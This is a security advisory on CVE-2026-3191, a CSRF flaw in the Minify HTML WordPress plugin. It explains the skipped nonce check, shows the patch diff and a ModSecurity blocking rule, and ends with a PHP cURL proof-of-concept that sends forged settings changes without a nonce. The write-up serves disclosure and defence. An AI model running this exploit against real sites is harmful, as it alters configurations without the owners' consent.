Atomic Edge analysis of CVE-2026-3191:
The Minify HTML WordPress plugin, versions up to and including 2.1.12, contains a Cross-Site Request Forgery (CSRF) vulnerability in its settings update functionality. This flaw allows unauthenticated attackers to change plugin configuration if they can trick an administrator into performing an action like clicking a link. The CVSS score of 5.4 reflects a medium severity risk.
The root cause is missing nonce validation in the `minify_html_menu_options` function, which handles the plugin’s settings form submission. The vulnerable code resides in the main plugin file `minify-html-markup/minify-html.php`. Prior to the patch, the conditional on line 140 only checked if a nonce was present and valid. If the `minify_html_nonce` POST parameter was not set at all, the condition would evaluate to false, and the nonce verification block would be skipped entirely, allowing the subsequent settings update logic to execute.
An attacker can exploit this by crafting a malicious HTML page or link that, when visited by a logged-in WordPress administrator, sends a forged POST request to the WordPress admin area. The request must target the plugin’s settings update handler, which is triggered when the `minify_html_submit_hidden` POST parameter equals ‘Y’. The payload would include parameters like `minify_html_active`, `minify_javascript`, `minify_html_comments`, `minify_html_xhtml`, `minify_html_relative`, `minify_html_scheme`, and `minify_html_utf8` to alter the plugin’s behavior, potentially breaking site functionality or enabling other attacks.
The patch in version 2.1.13 modifies the nonce validation logic on lines 140-141. The condition was changed from `if ( isset( $_POST[‘minify_html_nonce’] ) && !wp_verify_nonce(…) )` to `if ( !isset( $_POST[‘minify_html_nonce’] ) || !wp_verify_nonce(…) )`. This new logic correctly triggers a security failure and calls `wp_die` if the nonce is either missing OR invalid. The error message was also updated for clarity. This ensures the settings update code path cannot be reached without a valid nonce, mitigating the CSRF flaw.
Successful exploitation allows an attacker to modify the Minify HTML plugin’s operational settings. This could lead to site degradation or breakage by disabling minification, altering URL schemes, or changing character encoding. While direct remote code execution or data theft is not indicated, altering these settings could facilitate other attacks, such as disrupting site performance or causing compatibility issues that an attacker might leverage in a multi-stage compromise.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/minify-html-markup/minify-html.php
+++ b/minify-html-markup/minify-html.php
@@ -3,7 +3,7 @@
Plugin Name: Minify HTML
Plugin URI: https://www.wordpress.org/plugins/minify-html-markup/
Description: Minify your HTML for faster downloading and cleaning up sloppy looking markup.
-Version: 2.1.12
+Version: 2.1.13
Author: Tim Eckel
Author URI: https://www.dogblocker.com
License: GPLv3 or later
@@ -12,7 +12,7 @@
*/
/*
- Copyright 2025 Tim Eckel (email : eckel.tim@gmail.com)
+ Copyright 2026 Tim Eckel (email : eckel.tim@gmail.com)
Minify HTML is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -137,8 +137,8 @@
if ( !$minify_html_scheme ) $minify_html_scheme = 'no';
if ( !$minify_html_utf8 ) $minify_html_utf8 = 'no';
if ( isset($_POST[ 'minify_html_submit_hidden' ]) && $_POST[ 'minify_html_submit_hidden' ] == 'Y' ) {
- if ( isset( $_POST['minify_html_nonce'] ) && !wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['minify_html_nonce'] ) ), 'minify-html-nonce' ) ) {
- wp_die( esc_html( 'Form failed nonce verification.' ) );
+ if ( !isset( $_POST['minify_html_nonce'] ) || !wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['minify_html_nonce'] ) ), 'minify-html-nonce' ) ) {
+ wp_die( esc_html( 'Security check failed. Nonce missing or invalid.' ) );
}
if ( isset( $_POST[ 'minify_html_active' ] ) ) $minify_html_active = filter_var ( wp_unslash( $_POST[ 'minify_html_active' ] ), FILTER_SANITIZE_FULL_SPECIAL_CHARS ); else $minify_html_active = 'yes';
if ( isset( $_POST[ 'minify_javascript' ] ) ) $minify_javascript = filter_var ( wp_unslash( $_POST[ 'minify_javascript' ] ), FILTER_SANITIZE_FULL_SPECIAL_CHARS ); else $minify_javascript = 'yes';
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3191
SecRule REQUEST_URI "@rx /wp-admin/(options-general.php|admin.php)"
"id:10003191,phase:2,deny,status:403,chain,msg:'CVE-2026-3191 CSRF attempt on Minify HTML settings',severity:'CRITICAL',tag:'CVE-2026-3191',tag:'WordPress',tag:'Plugin:Minify-HTML'"
SecRule ARGS_GET:page "@streq minify-html-markup" "chain"
SecRule ARGS_POST:minify_html_submit_hidden "@streq Y" "chain"
SecRule &ARGS_POST:minify_html_nonce "@eq 0"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3191 - Minify HTML <= 2.1.12 - Cross-Site Request Forgery to Plugin Settings Update
<?php
// Configuration
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/options-general.php?page=minify-html-markup';
$admin_cookie = 'wordpress_logged_in_abc123=...'; // Replace with a valid administrator session cookie
// Craft the malicious POST request payload to disable the plugin's minification.
$post_data = array(
'minify_html_submit_hidden' => 'Y',
// The exploit works by OMITTING the 'minify_html_nonce' parameter.
'minify_html_active' => 'no', // Disable the plugin's core function
'minify_javascript' => 'no',
'minify_html_comments' => 'no',
'minify_html_xhtml' => 'no',
'minify_html_relative' => 'no',
'minify_html_scheme' => 'no',
'minify_html_utf8' => 'no'
);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
// Set the Cookie header to simulate an authenticated administrator session.
$headers = array(
'Cookie: ' . $admin_cookie,
'Content-Type: application/x-www-form-urlencoded'
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check response
if ($http_code == 200 && strpos($response, 'Settings saved') !== false) {
echo "[+] CSRF attack likely succeeded. Plugin settings were updated.n";
} else {
echo "[-] Attack may have failed. HTTP Code: $http_coden";
}
?>